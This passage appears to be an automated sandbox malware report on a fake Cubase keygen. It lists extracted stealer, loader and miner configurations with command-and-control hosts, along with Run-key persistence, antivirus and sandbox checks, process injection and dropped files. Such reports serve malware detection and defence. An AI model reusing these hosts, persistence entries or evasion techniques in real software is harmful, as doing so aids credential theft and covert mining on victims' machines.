Analysis
-
max time kernel
600s -
max time network
599s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
06-04-2021 18:16
Static task
static1
Behavioral task
behavioral1
Sample
Steinberg.Cubase.Ai.5.5.1.2.serials.keygen.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
Steinberg.Cubase.Ai.5.5.1.2.serials.keygen.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
Steinberg.Cubase.Ai.5.5.1.2.serials.keygen.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
Steinberg.Cubase.Ai.5.5.1.2.serials.keygen.exe
Resource
win10v20201028
Behavioral task
behavioral5
Sample
Steinberg.Cubase.Ai.5.5.1.2.serials.keygen.exe
Resource
win7v20201028
General
Malware Config
Extracted
http://labsclub.com/welcome
Extracted
azorult
http://kvaka.li/1210776429.php
Extracted
raccoon
154a0d85cf85cd8068dff18ef7c437721cdc0ffe
-
url4cnc
https://telete.in/j9ca1pel
Extracted
metasploit
windows/single_exec
Extracted
icedid
3238222152
sakiloirania.fun
Extracted
redline
fullynew
rlmushahel.xyz:80
Extracted
redline
Kolokol
pokacienon.xyz:80
Extracted
redline
6allsupp
jbeaef.ml:80
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Glupteba Payload 3 IoCs
Processes:
resource yara_rule behavioral3/memory/5788-232-0x0000000000400000-0x0000000000D24000-memory.dmp family_glupteba behavioral3/memory/5788-235-0x0000000005100000-0x0000000005A0A000-memory.dmp family_glupteba behavioral3/memory/5788-238-0x0000000000400000-0x0000000000D24000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 3 IoCs
Processes:
resource yara_rule behavioral3/memory/3792-353-0x0000000000400000-0x000000000041C000-memory.dmp family_redline behavioral3/memory/5464-374-0x0000000000400000-0x000000000041C000-memory.dmp family_redline behavioral3/memory/6648-705-0x0000000000400000-0x000000000041C000-memory.dmp family_redline -
Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
Processes:
WerFault.exeWerFault.exedescription pid process target process PID 1416 created 5712 1416 WerFault.exe 1sxp5422veg.exe PID 5960 created 4068 5960 WerFault.exe vcgcknhokim.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
svchost.exedescription pid process target process PID 6624 created 5788 6624 svchost.exe app.exe PID 6624 created 4188 6624 svchost.exe app.exe -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
IcedID First Stage Loader 1 IoCs
Processes:
resource yara_rule behavioral3/memory/3012-351-0x0000000000DF0000-0x0000000000DF7000-memory.dmp IcedidFirstLoader -
XMRig Miner Payload 4 IoCs
Processes:
resource yara_rule behavioral3/memory/4508-156-0x00000001402CA898-mapping.dmp xmrig behavioral3/memory/4508-154-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral3/memory/4508-159-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral3/memory/4508-165-0x0000000140000000-0x000000014070A000-memory.dmp xmrig -
Blocklisted process makes network request 18 IoCs
Processes:
msiexec.exerundll32.exeMsiExec.exepowershell.exeflow pid process 107 4508 msiexec.exe 227 3012 rundll32.exe 233 3012 rundll32.exe 250 4952 MsiExec.exe 253 4952 MsiExec.exe 255 4480 powershell.exe 270 4952 MsiExec.exe 272 4952 MsiExec.exe 273 4952 MsiExec.exe 272 4952 MsiExec.exe 272 4952 MsiExec.exe 250 4952 MsiExec.exe 253 4952 MsiExec.exe 273 4952 MsiExec.exe 273 4952 MsiExec.exe 270 4952 MsiExec.exe 107 4508 msiexec.exe 107 4508 msiexec.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 3 IoCs
Processes:
PING.EXEdescription ioc process File opened for modification C:\Windows\System32\drivers\SET8321.tmp PING.EXE File created C:\Windows\System32\drivers\SET8321.tmp PING.EXE File opened for modification C:\Windows\System32\drivers\tap0901.sys PING.EXE -
Executes dropped EXE 64 IoCs
Processes:
keygen-pr.exekeygen-step-1.exekeygen-step-3.exekeygen-step-4.exekey.exeSetup.exekey.exemultitimer.exesetups.exeFull Version.exesetups.tmpaskinstall20.exemultitimer.exefile.exemultitimer.exe18F7.tmp.exe1A40.tmp.exemd2_2efs.execpyrix.exevict.exeKiffApp1.exetimu5ok2mjx.exevict.tmptimu5ok2mjx.tmpsfdwdmwlnpd.exeSetup3310.exeSetup3310.tmp1sxp5422veg.exeapp.exeHWWKFile.execscvauk5ykp.exeIBInstaller_97039.exeIBInstaller_97039.tmpvpn.exevpn.tmpchrome_proxy.exeapipostback.exeapipostback.exe7780042.exe1982792.exeSetup.exe1.exe2.exeWindows Host.exehjjgaa.exeRunWW.exejg7_7wjg.exeLabPicV3.exelylal220.exe22.exeguihuali-game.exeThree.exelilalmixx.exeS4Q48Zp0Lo5T.exeLabPicV3.tmplylal220.tmpjfiag3g_gg.exejfiag3g_gg.exemultitimer.exesetups.exesetups.tmpsetup_10.2_us3.exe2.exetapinstall.exepid process 1196 keygen-pr.exe 2100 keygen-step-1.exe 3424 keygen-step-3.exe 2252 keygen-step-4.exe 3948 key.exe 1076 Setup.exe 1004 key.exe 3416 multitimer.exe 3684 setups.exe 1492 Full Version.exe 892 setups.tmp 2228 askinstall20.exe 5088 multitimer.exe 4220 file.exe 204 multitimer.exe 736 18F7.tmp.exe 4772 1A40.tmp.exe 4448 md2_2efs.exe 5152 cpyrix.exe 5140 vict.exe 5168 KiffApp1.exe 5244 timu5ok2mjx.exe 5412 vict.tmp 5460 timu5ok2mjx.tmp 5588 sfdwdmwlnpd.exe 5640 Setup3310.exe 5672 Setup3310.tmp 5712 1sxp5422veg.exe 5788 app.exe 5884 HWWKFile.exe 6044 cscvauk5ykp.exe 5344 IBInstaller_97039.exe 5384 IBInstaller_97039.tmp 5476 vpn.exe 5516 vpn.tmp 5600 chrome_proxy.exe 5928 apipostback.exe 6124 apipostback.exe 5272 7780042.exe 6020 1982792.exe 5608 Setup.exe 1108 1.exe 2456 2.exe 5240 Windows Host.exe 5832 hjjgaa.exe 4728 RunWW.exe 5220 jg7_7wjg.exe 5212 LabPicV3.exe 3748 lylal220.exe 6100 22.exe 5292 guihuali-game.exe 5216 Three.exe 5340 lilalmixx.exe 4620 S4Q48Zp0Lo5T.exe 960 LabPicV3.tmp 4420 lylal220.tmp 4504 jfiag3g_gg.exe 6036 jfiag3g_gg.exe 3856 multitimer.exe 5524 setups.exe 5196 setups.tmp 4500 setup_10.2_us3.exe 5464 2.exe 4592 tapinstall.exe -
Checks computer location settings 2 TTPs 6 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Weather.exeWeather.exesetups.tmpsetups.tmpcmd.exekeygen-step-4.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\International\Geo\Nation Weather.exe Key value queried \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\International\Geo\Nation Weather.exe Key value queried \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\International\Geo\Nation setups.tmp Key value queried \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\International\Geo\Nation setups.tmp Key value queried \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\International\Geo\Nation keygen-step-4.exe -
Loads dropped DLL 64 IoCs
Processes:
setups.tmprundll32.exe1A40.tmp.exevict.tmptimu5ok2mjx.tmpSetup3310.tmpcscvauk5ykp.exeIBInstaller_97039.tmpvpn.tmplylal220.tmpLabPicV3.tmpregsvr32.exerundll32.exeMsiExec.exesetups.tmprundll32.exeMsiExec.exeSetup3310.tmpvict.tmpvpn.tmpmask_svc.exeRunWW.exepid process 892 setups.tmp 892 setups.tmp 892 setups.tmp 892 setups.tmp 892 setups.tmp 892 setups.tmp 892 setups.tmp 3912 rundll32.exe 4772 1A40.tmp.exe 5412 vict.tmp 5460 timu5ok2mjx.tmp 5672 Setup3310.tmp 5672 Setup3310.tmp 6044 cscvauk5ykp.exe 5384 IBInstaller_97039.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 5516 vpn.tmp 4420 lylal220.tmp 960 LabPicV3.tmp 5568 regsvr32.exe 3012 rundll32.exe 1720 MsiExec.exe 1720 MsiExec.exe 1720 MsiExec.exe 5196 setups.tmp 5196 setups.tmp 5196 setups.tmp 5196 setups.tmp 5196 setups.tmp 5196 setups.tmp 5196 setups.tmp 5808 rundll32.exe 3012 rundll32.exe 4952 MsiExec.exe 4952 MsiExec.exe 4952 MsiExec.exe 4952 MsiExec.exe 4952 MsiExec.exe 4952 MsiExec.exe 4952 MsiExec.exe 4952 MsiExec.exe 4952 MsiExec.exe 6160 Setup3310.tmp 6160 Setup3310.tmp 6176 vict.tmp 5088 vpn.tmp 5088 vpn.tmp 5088 vpn.tmp 5088 vpn.tmp 4952 MsiExec.exe 4496 mask_svc.exe 4496 mask_svc.exe 4496 mask_svc.exe 4496 mask_svc.exe 4496 mask_svc.exe 4496 mask_svc.exe 4728 RunWW.exe 4728 RunWW.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 19 IoCs
Processes:
WUFServices.exePULServices.exevpn.tmp18F7.tmp.exehjjgaa.exeethminer.exemultitimer.exePULServices.exeWUFServices.exePULServices.exeaipackagechainer.exePULServices.exeWeather_Installation.exexmrmin.exeWUFServices.exe1982792.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\WUFServices.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\WUFServices.exe" WUFServices.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\PULServices.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\PULServices.exe" PULServices.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\hc01klblul4 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\TTXNCODET5\\multitimer.exe\" 1 3.1617733035.606ca5ab3535b" vpn.tmp Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 18F7.tmp.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" hjjgaa.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\WUFServices.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\WUFServices.exe" ethminer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\kllkyh1uhr5 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\QXDL286UE5\\multitimer.exe\" 1 3.1617733133.606ca60db0ac9" multitimer.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\PULServices.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\PULServices.exe" PULServices.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\WUFServices.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\WUFServices.exe" WUFServices.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\PULServices.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\PULServices.exe" PULServices.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run aipackagechainer.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\PULServices.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\PULServices.exe" PULServices.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Weather = "C:\\Users\\Admin\\AppData\\Roaming\\Weather\\Weather.exe --anbfs" Weather_Installation.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\PULServices.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\PULServices.exe" xmrmin.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\WUFServices.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\WUFServices.exe" WUFServices.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\wwwupdat3 = "C:\\Users\\Admin\\AppData\\Roaming\\wwwupdat3.exe" 18F7.tmp.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Host = "C:\\ProgramData\\Windows Host\\Windows Host.exe" 1982792.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\ aipackagechainer.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Weather_Installation.exe -
Checks for any installed AV software in registry 1 TTPs 64 IoCs
Processes:
multitimer.exemultitimer.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McProxy multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Sophos multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McAPExe multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AVP18.0.0 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\ArcaBit multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Jiangmin\ComputerID multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\KasperskyLab multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Jiangmin\ComputerID multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McAPExe multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\a2AntiMalware multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Sophos multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\K7 Computing\K7TotalSecurity multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AntiVirService multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QHActiveDefense multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\COMODO\CIS multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\FRISK Software\F-PROT Antivirus for Windows multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\McAfee\DesktopProtection multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\IKARUS\anti.virus multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AntiVirService multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Vba32\Loader multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\TrendMicro\UniClient multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\FRISK Software\F-PROT Antivirus for Windows multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QHActiveDefense multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\G Data\AntiVirenKit multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\BullGuard Ltd.\BullGuard\Main multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DrWebAVService multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\ArcaBit multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Bitdefender\QuickScan multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\G Data\AntiVirenKit multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\avast! Antivirus multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\a2AntiMalware multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Bitdefender\QuickScan multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\BullGuard Ltd.\BullGuard\Main multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\K7 Computing\K7TotalSecurity multitimer.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
md2_2efs.exejg7_7wjg.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md2_2efs.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA jg7_7wjg.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
cscvauk5ykp.exemsiexec.exedescription ioc process File opened (read-only) \??\N: cscvauk5ykp.exe File opened (read-only) \??\Q: cscvauk5ykp.exe File opened (read-only) \??\R: cscvauk5ykp.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\E: cscvauk5ykp.exe File opened (read-only) \??\K: cscvauk5ykp.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\A: cscvauk5ykp.exe File opened (read-only) \??\M: cscvauk5ykp.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\L: cscvauk5ykp.exe File opened (read-only) \??\T: cscvauk5ykp.exe File opened (read-only) \??\U: cscvauk5ykp.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\F: cscvauk5ykp.exe File opened (read-only) \??\G: cscvauk5ykp.exe File opened (read-only) \??\O: cscvauk5ykp.exe File opened (read-only) \??\P: cscvauk5ykp.exe File opened (read-only) \??\V: cscvauk5ykp.exe File opened (read-only) \??\X: cscvauk5ykp.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\H: cscvauk5ykp.exe File opened (read-only) \??\I: cscvauk5ykp.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: cscvauk5ykp.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\Z: cscvauk5ykp.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\W: cscvauk5ykp.exe File opened (read-only) \??\Y: cscvauk5ykp.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\J: cscvauk5ykp.exe File opened (read-only) \??\S: cscvauk5ykp.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 275 ipinfo.io 134 ipinfo.io 136 ipinfo.io 211 ip-api.com -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
multitimer.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum multitimer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0 multitimer.exe -
Drops file in System32 directory 20 IoCs
Processes:
svchost.exeDrvInst.exetapinstall.exePING.EXEdescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\V32QWZX4.cookie svchost.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.inf DrvInst.exe File opened for modification C:\Windows\System32\CatRoot2\dberr.txt DrvInst.exe File created C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.PNF tapinstall.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{6fa9afb1-e42a-394a-a768-764e879e7a65}\SET7B51.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{6fa9afb1-e42a-394a-a768-764e879e7a65}\SET7B63.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{6fa9afb1-e42a-394a-a768-764e879e7a65}\tap0901.sys DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{6fa9afb1-e42a-394a-a768-764e879e7a65} DrvInst.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\V32QWZX4.cookie svchost.exe File created C:\Windows\System32\DriverStore\Temp\{6fa9afb1-e42a-394a-a768-764e879e7a65}\SET7B51.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{6fa9afb1-e42a-394a-a768-764e879e7a65}\oemvista.inf DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{6fa9afb1-e42a-394a-a768-764e879e7a65}\SET7B62.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\Temp\{6fa9afb1-e42a-394a-a768-764e879e7a65}\SET7B62.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\drvstore.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.PNF PING.EXE File opened for modification C:\Windows\System32\DriverStore\Temp\{6fa9afb1-e42a-394a-a768-764e879e7a65}\tap0901.cat DrvInst.exe File created C:\Windows\System32\DriverStore\Temp\{6fa9afb1-e42a-394a-a768-764e879e7a65}\SET7B63.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\tap0901.sys DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\tap0901.cat DrvInst.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
Processes:
mask_svc.exemask_svc.exemask_svc.exepid process 6548 mask_svc.exe 3992 mask_svc.exe 4496 mask_svc.exe -
Suspicious use of SetThreadContext 9 IoCs
Processes:
key.exesvchost.exe18F7.tmp.exeS4Q48Zp0Lo5T.exe2.exe8037739.exe2.exeRote.exe.comdescription pid process target process PID 3948 set thread context of 1004 3948 key.exe key.exe PID 360 set thread context of 636 360 svchost.exe svchost.exe PID 736 set thread context of 4508 736 18F7.tmp.exe msiexec.exe PID 736 set thread context of 3268 736 18F7.tmp.exe msiexec.exe PID 4620 set thread context of 3792 4620 S4Q48Zp0Lo5T.exe AddInProcess32.exe PID 2456 set thread context of 5464 2456 2.exe 2.exe PID 6256 set thread context of 6648 6256 8037739.exe 8037739.exe PID 6988 set thread context of 5028 6988 2.exe 2.exe PID 5148 set thread context of 6484 5148 Rote.exe.com RegAsm.exe -
Drops file in Program Files directory 64 IoCs
Processes:
IBInstaller_97039.tmpSetup.exeguihuali-game.exejg7_7wjg.exevpn.tmpsetup_10.2_us3.exevict.tmpFull Version.exetimu5ok2mjx.tmp22.exevict.tmpdescription ioc process File created C:\Program Files (x86)\Install engine 16\is-GRGOG.tmp IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe Setup.exe File created C:\Program Files\jp2native.dll guihuali-game.exe File created C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\d jg7_7wjg.exe File created C:\Program Files (x86)\MaskVPN\driver\win764\is-0N16F.tmp vpn.tmp File opened for modification C:\Program Files (x86)\Advanced Trip\TrayIcon2.ico setup_10.2_us3.exe File created C:\Program Files (x86)\viewerise\is-JVD89.tmp vict.tmp File created C:\Program Files\unins0000.vbs Full Version.exe File created C:\Program Files (x86)\MaskVPN\driver\win764\is-HOVGG.tmp vpn.tmp File created C:\Program Files 